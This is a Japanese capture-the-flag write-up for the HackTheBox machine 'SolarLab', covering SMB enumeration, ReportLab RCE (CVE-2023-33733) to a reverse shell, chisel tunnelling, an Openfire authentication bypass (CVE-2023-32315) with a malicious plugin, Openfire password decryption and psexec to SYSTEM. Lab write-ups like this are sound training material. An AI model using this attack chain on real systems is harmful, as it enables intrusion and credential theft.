0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】SolarLab:Writeup

Posted at

概要

HackTheBox「SolarLab」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.16 -oN nmap_result
PORT     STATE SERVICE       VERSION
80/tcp   open  http          nginx 1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
|_http-server-header: nginx/1.24.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
6791/tcp open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-09-20T15:41:19
|_  start_date: N/A
|_clock-skew: 1s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

solarlab.htbreport.solarlab.htbのドメインが判明したので/etc/hostsに追記します。

10.10.11.16     solarlab.htb report.solarlab.htb

80番ポートにアクセスするとWebサイトが表示されました。

80 index.jpg

report.solarlab.htb:6791にアクセスするとログインページが表示されました。

6791 login form.jpg

Webサービスそれぞれのディレクトリ列挙をします。

$ dirsearch -u http://solarlab.htb
[12:19:53] 301 -  169B  - /assets  ->  http://solarlab.htb/assets/
[12:20:20] 301 -  169B  - /images  ->  http://solarlab.htb/images/
$ dirsearch -u http://report.solarlab.htb:6791
[12:23:03] 302 -  235B  - /dashboard  ->  /login?next=%2Fdashboard
[12:23:24] 200 -    2KB - /login
[12:23:25] 302 -  229B  - /logout  ->  /login?next=%2Flogout

SMBの共有リソースを列挙します。

$ smbclient -L //10.10.11.16
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Documents       Disk      
        IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.

Documentsにアクセスします。

$ smbclient  //10.10.11.16/Documents

中を見るとOfficeファイルがあるのでダウンロードします。

smb: \> ls
  .                                  DR        0  Fri Apr 26 10:47:14 2024
  ..                                 DR        0  Fri Apr 26 10:47:14 2024
  concepts                            D        0  Fri Apr 26 10:41:57 2024
  desktop.ini                       AHS      278  Fri Nov 17 05:54:43 2023
  details-file.xlsx                   A    12793  Fri Nov 17 07:27:21 2023
  My Music                        DHSrn        0  Thu Nov 16 14:36:51 2023
  My Pictures                     DHSrn        0  Thu Nov 16 14:36:51 2023
  My Videos                       DHSrn        0  Thu Nov 16 14:36:51 2023
  old_leave_request_form.docx         A    37194  Fri Nov 17 05:35:57 2023
smb: \concepts\> ls
  .                                   D        0  Fri Apr 26 10:41:57 2024
  ..                                  D        0  Fri Apr 26 10:41:57 2024
  Training-Request-Form.docx          A   161337  Fri Nov 17 05:46:57 2023
  Travel-Request-Sample.docx          A    30953  Fri Nov 17 05:36:54 2023

details-file.xlsxからユーザー名やパスワードを得られました。

details file.jpg

AlexanderK,ClaudiaSをユーザー名に使用した場合、エラー出力が変化したのでアカウントの存在を確認できました。
ユーザー名の規則から推測してblakebアカウントも発見できました。

user find.jpg

Username: blakebPassword: ThisCanB3typedeasily1@でログインできました。

dashboard.jpg

それぞれ4つの遷移先ページではPDFを生成できます。

leaverequest.jpg

gen pdf.jpg

生成されたPDFを保存し、exiftoolでメタデータを読み込みます。

$ exiftool output.pdf                      
ExifTool Version Number         : 12.70
File Name                       : output.pdf
Directory                       : .
File Size                       : 277 kB
File Modification Date/Time     : 2024:09:22 12:08:18-04:00
File Access Date/Time           : 2024:09:22 12:08:18-04:00
File Inode Change Date/Time     : 2024:09:22 12:08:18-04:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Author                          : (anonymous)
Create Date                     : 2024:09:22 19:07:25-02:00
Creator                         : (unspecified)
Modify Date                     : 2024:09:22 19:07:25-02:00
Producer                        : ReportLab PDF Library - www.reportlab.com
Subject                         : (unspecified)
Title                           : (anonymous)
Trapped                         : False
Page Mode                       : UseNone
Page Count                      : 1

PDF生成にはReportLab PDF Libraryが使用されていると分かりました。

reportlab pdf library exploitなどで検索するとCVE-2023-33733がヒットしました。

試しにpingを実行するとRCEが成功したと分かりました。

ping.jpg

$ sudo tcpdump -i tun0 icmp                     
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
12:37:57.124362 IP solarlab.htb > 10.10.14.150: ICMP echo request, id 1, seq 1, length 40
12:37:57.124375 IP 10.10.14.150 > solarlab.htb: ICMP echo reply, id 1, seq 1, length 40

リバースシェルを張ります。
Netcatでリッスンします。

$ nc -lnvp 1234

リバースシュルペイロードは下記サイトから生成します。

リクエストを送信するとシェルを張れました。

$ nc -lnvp 1234                                          
listening on [any] 1234 ...
connect to [10.10.14.150] from (UNKNOWN) [10.10.11.16] 53562
whoami
solarlab\blake

C:\Users\blake\Desktop\user.txtからユーザーフラグを入手できました。

PS C:\Users\blake\Desktop> type user.txt
4d87bcd6ec3a001ba1583640cbdfd5cc

Root Flag

C:\Users\blake\Documents\app\app.pyのソースコードを見るとSQLiteでusers.dbファイルを使用しています。

# app.py
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager
import os

app = Flask(__name__)
app.secret_key = os.urandom(64)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'

users.dbファイルを検索します。

PS C:\Users\blake\Documents\app> Get-ChildItem -Path C:\ -Filter users.db -Recurse -ErrorAction SilentlyContinue



    Directory: C:\Users\blake\Documents\app\instance


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----          5/2/2024  12:30 PM          12288 users.db                                                             


    Directory: C:\Users\blake\Documents\app\reports\instance


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----        11/17/2023  12:11 PM          12288 users.db

C:\Users\blake\Documents\app\instance\users.dbを発見しました。
ファイルをSMB経由でKaliにダウンロードします。

Copy-Item -Path C:\Users\blake\Documents\app\instance\users.db -Destination C:\Users\Public\Documents
smb: \> get users.db

ファイルの内容から認証情報を得られました。

$ sqlite3 users.db
sqlite> .table
user
sqlite> select * from user;
1|blakeb|ThisCanB3typedeasily1@
2|claudias|007poiuytrewq
3|alexanderk|HotP!fireguard

別アカウントを探します。

PS C:\Users\blake\Documents\app> net users

User accounts for \\SOLARLAB

-------------------------------------------------------------------------------
Administrator            blake                    DefaultAccount           
Guest                    openfire                 WDAGUtilityAccount       
The command completed successfully.

openfireアカウントを発見したのでOpenfire Serverが動作している可能性があります。

openfireで使用するポートを調べると9090,9091だと分かったので、ネットワーク使用状況を調べると9090,9091がリッスンしていました。

netstat -ano
TCP    127.0.0.1:9090         0.0.0.0:0              LISTENING       3220
TCP    127.0.0.1:9091         0.0.0.0:0              LISTENING       3220

サービスはローカルで動作しているのでchiselを使用してトンネリングします。
chiselのexeファイルを作成します。

$ git clone https://github.com/jpillora/chisel.git
$ cd chisel
$ env GOOS=windows GOARCH=amd64 go build -o chisel_win.exe -ldflags "-s -w"

ターゲットマシンにchisel_win.exeをダウンロードします。

wget http://10.10.14.150/chisel_win.exe -OutFile C:\Users\blake\Documents\app\chisel_win.exe

Kaliでサーバーを起動します。

$ chisel server --reverse -p 8000

ターゲットマシンでクライアントを起動します。

./chisel_win.exe client 10.10.14.150:8000 R:9090:127.0.0.1:9090

127.0.0.1:9090にアクセスするとopenfireのログインページが表示されました。

openfire.jpg

openfire 4.7.4が使用されていると分かりました。
脆弱性情報を検索するとCVE-2023-32315が見つかり、認証をバイパスできるようです。

PoCは下記リポジトリを使用します。

PoCを実行し、新しいアカウントを作成できました。

$ python CVE-2023-32315.py -t http://127.0.0.1:9090


 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗      ██████╗ ██████╗ ██████╗  ██╗███████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗     ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚═══██╗██╔═══╝  ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝     ██████╔╝███████╗██████╔╝ ██║███████║
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝      ╚═════╝ ╚══════╝╚═════╝  ╚═╝╚══════╝
                                                                                                       
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!

[..] Checking target: http://127.0.0.1:9090
Successfully retrieved JSESSIONID: node01loj99ilcfop51ahref30afhrd8.node0 + csrf: 2wueWdMNntz4Gyp
User added successfully: url: http://127.0.0.1:9090 username: 1ka4t9 password: 28wl1z

作成されたアカウントでのログインに成功しました。

openfire login.jpg

Plugins->BrowseからPoCリポジトリにあるopenfire-management-tool-plugin.jarをアップロードします。

plugins.jpg

Server->Server Setting->Management Toolにアクセスします。

managemnt tool.jpg

Password: 123を使用してログインします。
system commandを選択することでOSコマンドを実行できました。

whoami.jpg

Netcatで再度リッスンします。

$ nc -lnvp 1235
listening on [any] 1235 ...

下記サイトからPowerShellのリバースシェルコードを生成し実行することでopenfireアカウントのシェルを取得できました。

$ nc -lnvp 1235
listening on [any] 1235 ...
connect to [10.10.14.150] from (UNKNOWN) [10.10.11.16] 53927
whoami
solarlab\openfire

openfireではembedded-dbディレクトリ配下にDBファイルがあるようなので見てみると発見しました。

PS C:\Program Files\Openfire> dir


    Directory: C:\Program Files\Openfire


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----        11/17/2023   2:11 PM                .install4j                                                           
d-----        11/17/2023   2:11 PM                bin                                                                  
d-----         9/21/2024  10:33 PM                conf                                                                 
d-----        11/17/2023   2:11 PM                documentation                                                        
d-----         9/21/2024  10:33 PM                embedded-db

embedded-db配下を見るとopenfire.scriptを発見しました。

PS C:\Program Files\Openfire\embedded-db> dir


    Directory: C:\Program Files\Openfire\embedded-db


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----         9/21/2024  10:33 PM                openfire.tmp                                                         
-a----         9/21/2024  10:33 PM              0 openfire.lck                                                         
-a----         9/22/2024  10:38 PM           7683 openfire.log                                                         
-a----         9/21/2024  10:33 PM            106 openfire.properties                                                  
-a----          5/7/2024   9:15 PM          16161 openfire.script

openfire.scriptの内容を見ると管理者の認証情報に関するデータを発見できます。

PS C:\Program Files\Openfire\embedded-db> type openfire.script

(省略)

INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')

(省略)

INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)

パスワードは暗号化されているようです。
openfireのパスワード復号には下記PoCを利用しました。

PoCを実行し、管理者のパスワードがThisPasswordShouldDo!@だと分かりました。

$ javac OpenFireDecryptPass.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
$ java OpenFireDecryptPass becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)

psexecで管理者アカウントにリモート接続します。

$ impacket-psexec solarlab.htb/administrator:'ThisPasswordShouldDo!@'@solarlab.htb powershell
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on solarlab.htb.....
[*] Found writable share ADMIN$
[*] Uploading file NCFHTGlL.exe
[*] Opening SVCManager on solarlab.htb.....
[*] Creating service WiBM on solarlab.htb.....
[*] Starting service WiBM.....
[!] Press help for extra shell commands
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6


PS C:\Windows\system32> 

PS C:\Windows\system32> 
whoami
PS C:\Windows\system32> whoami
nt authority\system

C:\Users\Administrator\Desktop\root.txtからルートフラグを入手できます。

PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
af76e7470f5dcfe303087100c0304811
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?